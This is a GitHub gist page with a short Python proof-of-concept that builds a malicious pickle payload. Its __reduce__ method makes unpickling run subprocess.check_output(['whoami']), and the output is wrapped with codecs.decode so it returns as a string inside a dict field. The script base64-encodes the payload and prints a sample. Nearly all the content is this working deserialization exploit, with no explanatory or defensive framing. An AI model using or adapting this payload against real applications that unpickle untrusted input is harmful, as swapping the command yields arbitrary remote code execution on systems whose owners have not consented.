Skip to content

Instantly share code, notes, and snippets.

@Jonoans
Created June 20, 2020 16:51
Show Gist options
  • Save Jonoans/d04a04ae8c74094580ddc4543509f596 to your computer and use it in GitHub Desktop.
Save Jonoans/d04a04ae8c74094580ddc4543509f596 to your computer and use it in GitHub Desktop.
import base64
import codecs
import pickle
class RCE(object):
def __reduce__(self):
import subprocess
return (subprocess.check_output, (['whoami'], ) )
class RCEStr(object):
def __reduce__(self):
return (codecs.decode, (RCE(), 'utf-8') )
pickle_data = pickle.dumps({'name': RCEStr()})
payload = base64.urlsafe_b64encode(pickle_data)
print(payload.decode('utf-8'))
# Outputs: gAN9cQBYBAAAAG5hbWVxAWNfY29kZWNzCmRlY29kZQpxAmNzdWJwcm9jZXNzCmNoZWNrX291dHB1dApxA11xBFgGAAAAd2hvYW1pcQVhhXEGUnEHWAUAAAB1dGYtOHEIhnEJUnEKcy4=
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment